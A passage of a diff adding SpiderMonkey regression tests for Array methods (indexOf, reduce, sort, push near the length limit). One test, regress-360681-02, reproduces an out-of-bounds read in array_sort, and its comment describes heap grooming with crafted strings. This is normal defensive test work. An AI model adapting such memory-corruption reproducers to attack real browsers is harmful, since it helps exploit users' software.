+ test(getMaxArgs());
+
+//-----------------------------------------------------------------------------
+
+function test(length)
+{
+ var a = new Array();
+ a[length - 2] = 'length-2';
+ a[length - 1] = 'length-1';
+
+ var b = Array.apply(null, a);
+
+ expect = length + ',length-2,length-1';
+ actual = b.length + "," + b[length - 2] + "," + b[length - 1];
+ reportCompare(expect, actual, summary);
+
+ function f() {
+ return arguments.length + "," + arguments[length - 2] + "," +
+ arguments[length - 1];
+ }
+
+ expect = length + ',length-2,length-1';
+ actual = f.apply(null, a);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-352742-01.js b/js/src/tests/non262/Array/regress-352742-01.js
new file mode 100644
index 0000000000..8048cb8f1d
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-352742-01.js
@@ -0,0 +1,36 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352742;
+var summary = 'Array filter on {valueOf: Function}';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ print('If the test harness fails, this test fails.');
+ expect = 4;
+ z = {valueOf: Function};
+ actual = 2;
+ try {
+ [11].filter(z);
+ }
+ catch(e)
+ {
+ actual = 3;
+ }
+ actual = 4;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-352742-02.js b/js/src/tests/non262/Array/regress-352742-02.js
new file mode 100644
index 0000000000..946e8ba907
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-352742-02.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 352742;
+var summary = 'eval("return") in toString';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 3;
+ var j = ({toString: function() { eval("return"); }});
+ actual = 2;
+ try { "" + j; } catch(e){}
+ actual = 3;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-360681-01.js b/js/src/tests/non262/Array/regress-360681-01.js
new file mode 100644
index 0000000000..c842967137
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-360681-01.js
@@ -0,0 +1,30 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360681;
+var summary = 'Regression from bug 224128';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var a = Array(3);
+ a[0] = 1;
+ a[1] = 2;
+ a.sort(function () { gc(); return 1; });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-360681-02.js b/js/src/tests/non262/Array/regress-360681-02.js
new file mode 100644
index 0000000000..ab230e1d4b
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-360681-02.js
@@ -0,0 +1,55 @@
+/* -*- tab-width: 2; indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 360681;
+var summary = 'Regression from bug 224128';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = actual = 'No Crash';
+
+ var N = 1000;
+
+// Make an array with a hole at the end
+ var a = Array(N);
+ for (i = 0; i < N - 1; ++i)
+ a[i] = 1;
+
+// array_sort due for array with N elements with allocates a temporary vector
+// with 2*N. Lets create strings that on 32 and 64 bit CPU cause allocation
+// of the same amount of memory + 1 word for their char arrays. After we GC
+// strings with a reasonable malloc implementation that memory will be most
+// likely reused in array_sort for the temporary vector. Then the bug causes
+// accessing the one-beyond-the-aloocation word and re-interpretation of
+// 0xFFF0FFF0 as GC thing.
+
+ var str1 = Array(2*(2*N + 1) + 1).join(String.fromCharCode(0xFFF0));
+ var str2 = Array(4*(2*N + 1) + 1).join(String.fromCharCode(0xFFF0));
+ gc();
+ str1 = str2 = null;
+ gc();
+
+ var firstCall = true;
+ a.sort(function (a, b) {
+ if (firstCall) {
+ firstCall = false;
+ gc();
+ }
+ return a - b;
+ });
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-364104.js b/js/src/tests/non262/Array/regress-364104.js
new file mode 100644
index 0000000000..05d8953b6e
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-364104.js
@@ -0,0 +1,74 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = "364104";
+var summary = "Array.prototype.indexOf, Array.prototype.lastIndexOf issues " +
+ "with the optional second fromIndex argument";
+var actual, expect;
+
+printBugNumber(BUGNUMBER);
+printStatus(summary);
+
+/**************
+ * BEGIN TEST *
+ **************/
+
+var failed = false;
+
+try
+{
+ // indexOf
+ if ([2].indexOf(2) != 0)
+ throw "indexOf: not finding 2!?";
+ if ([2].indexOf(2, 0) != 0)
+ throw "indexOf: not interpreting explicit second argument 0!";
+ if ([2].indexOf(2, 1) != -1)
+ throw "indexOf: ignoring second argument with value equal to array length!";
+ if ([2].indexOf(2, 2) != -1)
+ throw "indexOf: ignoring second argument greater than array length!";
+ if ([2].indexOf(2, 17) != -1)
+ throw "indexOf: ignoring large second argument!";
+ if ([2].indexOf(2, -5) != 0)
+ throw "indexOf: calculated fromIndex < 0, should search entire array!";
+ if ([2, 3].indexOf(2, -1) != -1)
+ throw "indexOf: not handling index == (-1 + 2), element 2 correctly!";
+ if ([2, 3].indexOf(3, -1) != 1)
+ throw "indexOf: not handling index == (-1 + 2), element 3 correctly!";
+
+ // lastIndexOf
+ if ([2].lastIndexOf(2) != 0)
+ throw "lastIndexOf: not finding 2!?";
+ if ([2].lastIndexOf(2, 1) != 0)
+ throw "lastIndexOf: not interpreting explicit second argument 1!?";
+ if ([2].lastIndexOf(2, 17) != 0)
+ throw "lastIndexOf: should have searched entire array!";
+ if ([2].lastIndexOf(2, -5) != -1)
+ throw "lastIndexOf: -5 + 1 < 0, so array shouldn't be searched!";
+ if ([2].lastIndexOf(2, -2) != -1)
+ throw "lastIndexOf: -2 + 1 < 0, so array shouldn't be searched!";
+ if ([2, 3].lastIndexOf(2, -1) != 0)
+ throw "lastIndexOf: not handling index == (-1 + 2), element 2 correctly!";
+ if ([2, 3].lastIndexOf(3, -1) != 1)
+ throw "lastIndexOf: not handling index == (-1 + 2), element 3 correctly!";
+ if ([2, 3].lastIndexOf(2, -2) != 0)
+ throw "lastIndexOf: not handling index == (-2 + 2), element 2 correctly!";
+ if ([2, 3].lastIndexOf(3, -2) != -1)
+ throw "lastIndexOf: not handling index == (-2 + 2), element 3 correctly!";
+ if ([2, 3].lastIndexOf(2, -3) != -1)
+ throw "lastIndexOf: calculated fromIndex < 0, shouldn't search array for 2!";
+ if ([2, 3].lastIndexOf(3, -3) != -1)
+ throw "lastIndexOf: calculated fromIndex < 0, shouldn't search array for 3!";
+}
+catch (e)
+{
+ failed = e;
+}
+
+
+expect = false;
+actual = failed;
+
+reportCompare(expect, actual, summary);
diff --git a/js/src/tests/non262/Array/regress-386030.js b/js/src/tests/non262/Array/regress-386030.js
new file mode 100644
index 0000000000..239e7e11ad
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-386030.js
@@ -0,0 +1,64 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 386030;
+var summary = 'Array.reduce should ignore holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function add(a, b) { return a + b; }
+ function testreduce(v) { return v == 3 ? "PASS" : "FAIL"; }
+
+ expect = 'PASS';
+
+ try {
+ a = new Array(2);
+ a[1] = 3;
+ actual = testreduce(a.reduce(add));
+ } catch (e) {
+ actual = "FAIL, reduce";
+ }
+ reportCompare(expect, actual, summary + ': 1');
+
+ try {
+ a = new Array(2);
+ a[0] = 3;
+ actual = testreduce(a.reduceRight(add));
+ } catch (e) {
+ actual = "FAIL, reduceRight";
+ }
+ reportCompare(expect, actual, summary + ': 2');
+
+ try {
+ a = new Array(2);
+ a.reduce(add);
+ actual = "FAIL, empty reduce";
+ } catch (e) {
+ actual = "PASS";
+ }
+ reportCompare(expect, actual, summary + ': 3');
+
+ try {
+ a = new Array(2);
+ print(a.reduceRight(add));
+ actual = "FAIL, empty reduceRight";
+ } catch (e) {
+ actual = "PASS";
+ }
+ reportCompare(expect, actual, summary + ': 4');
+}
diff --git a/js/src/tests/non262/Array/regress-387501.js b/js/src/tests/non262/Array/regress-387501.js
new file mode 100644
index 0000000000..3f800c14b2
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-387501.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 387501;
+var summary =
+ 'Array.prototype.toString|toLocaleString|toSource are generic';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = '[object String]';
+ actual = Array.prototype.toString.call((new String('foo')));
+ assertEq(actual, expect, summary);
+
+ expect = 'f,o,o';
+ actual = Array.prototype.toLocaleString.call((new String('foo')));
+ assertEq(actual, expect, summary);
+
+ if (typeof Array.prototype.toSource != 'undefined')
+ {
+ assertEq('["f", "o", "o"]', Array.prototype.toSource.call(new String('foo')));
+
+ try
+ {
+ Array.prototype.toSource.call('foo');
+ throw new Error("didn't throw");
+ }
+ catch(ex)
+ {
+ assertEq(ex instanceof TypeError, true,
+ "wrong error thrown: expected TypeError, got " + ex);
+ }
+ }
+
+ reportCompare(true, true, "Tests complete");
+}
diff --git a/js/src/tests/non262/Array/regress-390598.js b/js/src/tests/non262/Array/regress-390598.js
new file mode 100644
index 0000000000..ec34a5b121
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-390598.js
@@ -0,0 +1,37 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 390598;
+var summary = 'Override inherited length of Array-like object';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ function F() {}
+ F.prototype = [];
+
+ // override inherited length from the prototype.
+ expect = 10;
+ var x = new F();
+
+ print('x = new F(); x instanceof Array: ' + (x instanceof Array));
+
+ x.length = expect;
+ actual = x.length;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-415451.js b/js/src/tests/non262/Array/regress-415451.js
new file mode 100644
index 0000000000..b4674f5df8
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-415451.js
@@ -0,0 +1,24 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 415451;
+var summary = 'indexOf/lastIndexOf behavior';
+
+var expected = "3,0,3,3,3,-1,-1";
+results = [];
+var a = [1,2,3,1];
+for (var i=-1; i < a.length+2; i++)
+ results.push(a.indexOf(1,i));
+var actual = String(results);
+reportCompare(expected, actual, "indexOf");
+
+results = [];
+var expected = "3,0,0,0,3,3,3";
+for (var i=-1; i < a.length+2; i++)
+ results.push(a.lastIndexOf(1,i));
+var actual = String(results);
+reportCompare(expected, actual, "lastIndexOf");
+
diff --git a/js/src/tests/non262/Array/regress-421325.js b/js/src/tests/non262/Array/regress-421325.js
new file mode 100644
index 0000000000..fece43a64f
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-421325.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 421325;
+var summary = 'Dense Arrays and holes';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[1] = 'bar';
+
+ var a = [];
+ a[0]='foo';
+ a[2] = 'baz';
+ expect = 'foo,bar,baz';
+ actual = a + '';
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-422286.js b/js/src/tests/non262/Array/regress-422286.js
new file mode 100644
index 0000000000..e00d40d752
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-422286.js
@@ -0,0 +1,31 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 422286;
+var summary = 'Array slice when array\'s length is assigned';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array(10000).slice(1);
+ a = Array(1);
+ a.length = 10000;
+ a.slice(1);
+ a = Array(1);
+ a.length = 10000;
+ a.slice(-1);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-424954.js b/js/src/tests/non262/Array/regress-424954.js
new file mode 100644
index 0000000000..3b2f78936b
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-424954.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Bob Clary
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 424954;
+var summary = 'Do not crash with [].concat(null)';
+var actual = 'No Crash';
+var expect = 'No Crash';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ [].concat(null);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-430717.js b/js/src/tests/non262/Array/regress-430717.js
new file mode 100644
index 0000000000..cf5f302a63
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-430717.js
@@ -0,0 +1,29 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 430717;
+var summary = 'Dense Arrays should inherit deleted elements from Array.prototype';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ Array.prototype[2] = "two";
+ var a = [0,1,2,3];
+ delete a[2];
+
+ expect = 'two';
+ actual = a[2];
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-451483.js b/js/src/tests/non262/Array/regress-451483.js
new file mode 100644
index 0000000000..49bb66e7db
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-451483.js
@@ -0,0 +1,28 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451483;
+var summary = '[].splice.call(0) == []';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = true;
+ var result = [].splice.call(0);
+ print('[].splice.call(0) = ' + result);
+ actual = result instanceof Array && result.length == 0;
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-451906.js b/js/src/tests/non262/Array/regress-451906.js
new file mode 100644
index 0000000000..c80962e435
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-451906.js
@@ -0,0 +1,27 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 451906;
+var summary = 'Index array by numeric string';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ expect = 1;
+ var s=[1,2,3];
+ actual = s['0'];
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-456845.js b/js/src/tests/non262/Array/regress-456845.js
new file mode 100644
index 0000000000..7531ba17fd
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-456845.js
@@ -0,0 +1,48 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 456845;
+var summary = 'JIT: popArrs[a].pop is not a function';
+var actual = 'No Error';
+var expect = 'No Error';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+
+ try
+ {
+ var chars = '0123456789abcdef';
+ var size = 1000;
+ var mult = 100;
+
+ var arr = [];
+ var lsize = size;
+ while (lsize--) { arr.push(chars); }
+
+ var popArrs = [];
+ for (var i=0; i<mult; i++) { popArrs.push(arr.slice()); }
+
+
+ for(var a=0;a<mult;a++) {
+ var x; while (x = popArrs[a].pop()) { }
+ }
+
+ }
+ catch(ex)
+ {
+ actual = ex + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-465980-01.js b/js/src/tests/non262/Array/regress-465980-01.js
new file mode 100644
index 0000000000..c7d6dee29a
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-465980-01.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465980;
+var summary = 'Do not crash @ InitArrayElements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ try
+ {
+ var a = new Array(4294967294);
+ a.push("foo", "bar");
+ }
+ catch(ex)
+ {
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-465980-02.js b/js/src/tests/non262/Array/regress-465980-02.js
new file mode 100644
index 0000000000..866ad02d8e
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-465980-02.js
@@ -0,0 +1,167 @@
+// |reftest| slow
+/* -*- Mode: C++; tab-width: 2; indent-tabs-mode: nil; c-basic-offset: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 465980;
+var summary = 'Do not crash @ InitArrayElements';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function describe(name, startLength, pushArgs, expectThrow, expectLength)
+ {
+ return name + "(" + startLength + ", " +
+ "[" + pushArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")";
+ }
+
+ var push = Array.prototype.push;
+ var unshift = Array.prototype.unshift;
+
+ function testArrayPush(startLength, pushArgs, expectThrow, expectLength)
+ {
+ print("running testArrayPush(" +
+ startLength + ", " +
+ "[" + pushArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")...");
+ var a = new Array(startLength);
+ try
+ {
+ push.apply(a, pushArgs);
+ if (expectThrow)
+ {
+ throw "expected to throw for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ }
+ catch (e)
+ {
+ if (!(e instanceof RangeError))
+ {
+ throw "unexpected exception type thrown: " + e + " for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ if (!expectThrow)
+ {
+ throw "unexpected exception " + e + " for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+ }
+
+ if (a.length !== expectLength)
+ {
+ throw "unexpected modified-array length for " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength);
+ }
+
+ for (var i = 0, sz = pushArgs.length; i < sz; i++)
+ {
+ var index = i + startLength;
+ if (a[index] !== pushArgs[i])
+ {
+ throw "unexpected value " + a[index] +
+ " at index " + index + " (" + i + ") during " +
+ describe("testArrayPush", startLength, pushArgs, expectThrow,
+ expectLength) + ", expected " + pushArgs[i];
+ }
+ }
+ }
+
+ function testArrayUnshift(startLength, unshiftArgs, expectThrow, expectLength)
+ {
+ print("running testArrayUnshift(" +
+ startLength + ", " +
+ "[" + unshiftArgs.join(", ") + "], " +
+ expectThrow + ", " +
+ expectLength + ")...");
+ var a = new Array(startLength);
+ try
+ {
+ unshift.apply(a, unshiftArgs);
+ if (expectThrow)
+ {
+ throw "expected to throw for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+ catch (e)
+ {
+ if (!(e instanceof RangeError))
+ {
+ throw "unexpected exception type thrown: " + e + " for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ if (!expectThrow)
+ {
+ throw "unexpected exception " + e + " for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+
+ if (a.length !== expectLength)
+ {
+ throw "unexpected modified-array length for " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+
+ for (var i = 0, sz = unshiftArgs.length; i < sz; i++)
+ {
+ if (a[i] !== unshiftArgs[i])
+ {
+ throw "unexpected value at index " + i + " during " +
+ describe("testArrayUnshift", startLength, unshiftArgs, expectThrow,
+ expectLength);
+ }
+ }
+ }
+
+ var failed = true;
+
+ try
+ {
+ var foo = "foo", bar = "bar", baz = "baz";
+
+ testArrayPush(4294967294, [foo], false, 4294967295);
+ testArrayPush(4294967294, [foo, bar], true, 4294967295);
+ testArrayPush(4294967294, [foo, bar, baz], true, 4294967295);
+ testArrayPush(4294967295, [foo], true, 4294967295);
+ testArrayPush(4294967295, [foo, bar], true, 4294967295);
+ testArrayPush(4294967295, [foo, bar, baz], true, 4294967295);
+
+ testArrayUnshift(4294967294, [foo], false, 4294967295);
+ testArrayUnshift(4294967294, [foo, bar], true, 4294967294);
+ testArrayUnshift(4294967294, [foo, bar, baz], true, 4294967294);
+ testArrayUnshift(4294967295, [foo], true, 4294967295);
+ testArrayUnshift(4294967295, [foo, bar], true, 4294967295);
+ testArrayUnshift(4294967295, [foo, bar, baz], true, 4294967295);
+
+ }
+ catch (e)
+ {
+ actual = e + '';
+ }
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-474529.js b/js/src/tests/non262/Array/regress-474529.js
new file mode 100644
index 0000000000..d377a9a939
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-474529.js
@@ -0,0 +1,52 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 474529;
+var summary = 'Do not assert: _buf->_nextPage';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ function main() {
+
+ function timeit(N, buildArrayString) {
+ return Function("N",
+ "var d1 = +new Date;" +
+ "while (N--) var x = " + buildArrayString +
+ "; return +new Date - d1")(N);
+ }
+
+ function reportResults(size, N, literalMs, newArrayMs, arrayMs) {
+ print(Array.prototype.join.call(arguments, "\t"));
+ }
+
+ var repetitions = [ 9000, 7000, 4000, 2000, 2000, 2000, 800, 800, 800, 300, 100, 100 ]
+ for (var zeros = "0, ", i = 0; i < repetitions.length; ++i) {
+ var N = repetitions[i];
+ reportResults((1 << i) + 1, N,
+ timeit(N, "[" + zeros + " 0 ]"),
+ timeit(N, "new Array(" + zeros + " 0)"),
+ timeit(N, "Array(" + zeros + " 0)"));
+ zeros += zeros;
+ }
+ }
+
+ gc();
+ print("Size\t\Rep.\t\Literal\tnew Arr\tArray()");
+ print("====\t=====\t=======\t=======\t=======");
+ main();
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-488989.js b/js/src/tests/non262/Array/regress-488989.js
new file mode 100644
index 0000000000..2df0f72b83
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-488989.js
@@ -0,0 +1,32 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/* This Source Code Form is subject to the terms of the Mozilla Public
+ * License, v. 2.0. If a copy of the MPL was not distributed with this
+ * file, You can obtain one at http://mozilla.org/MPL/2.0/. */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 488989;
+var summary = 'Array.prototype.push for non-arrays near max-array-index limit';
+var actual = '';
+var expect = '';
+
+
+//-----------------------------------------------------------------------------
+test();
+//-----------------------------------------------------------------------------
+
+function test()
+{
+ printBugNumber(BUGNUMBER);
+ printStatus (summary);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 37);
+ stack.push(-2, -1, 0);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 5);
+ stack.push(-2, -1, 0);
+
+ var stack = { push: [].push }; stack.length = Math.pow(2, 32) -2;
+ stack.push(-2, -1, 0);
+
+ reportCompare(expect, actual, summary);
+}
diff --git a/js/src/tests/non262/Array/regress-566651.js b/js/src/tests/non262/Array/regress-566651.js
new file mode 100644
index 0000000000..a05d0310a5
--- /dev/null
+++ b/js/src/tests/non262/Array/regress-566651.js
@@ -0,0 +1,20 @@
+/* -*- indent-tabs-mode: nil; js-indent-level: 2 -*- */
+/*
+ * Any copyright is dedicated to the Public Domain.
+ * http://creativecommons.org/licenses/publicdomain/
+ * Contributor: Blake Kaplan
+ */
+
+//-----------------------------------------------------------------------------
+var BUGNUMBER = 566651;
+var summary = 'setting array.length to null should not throw an uncatchable exception';
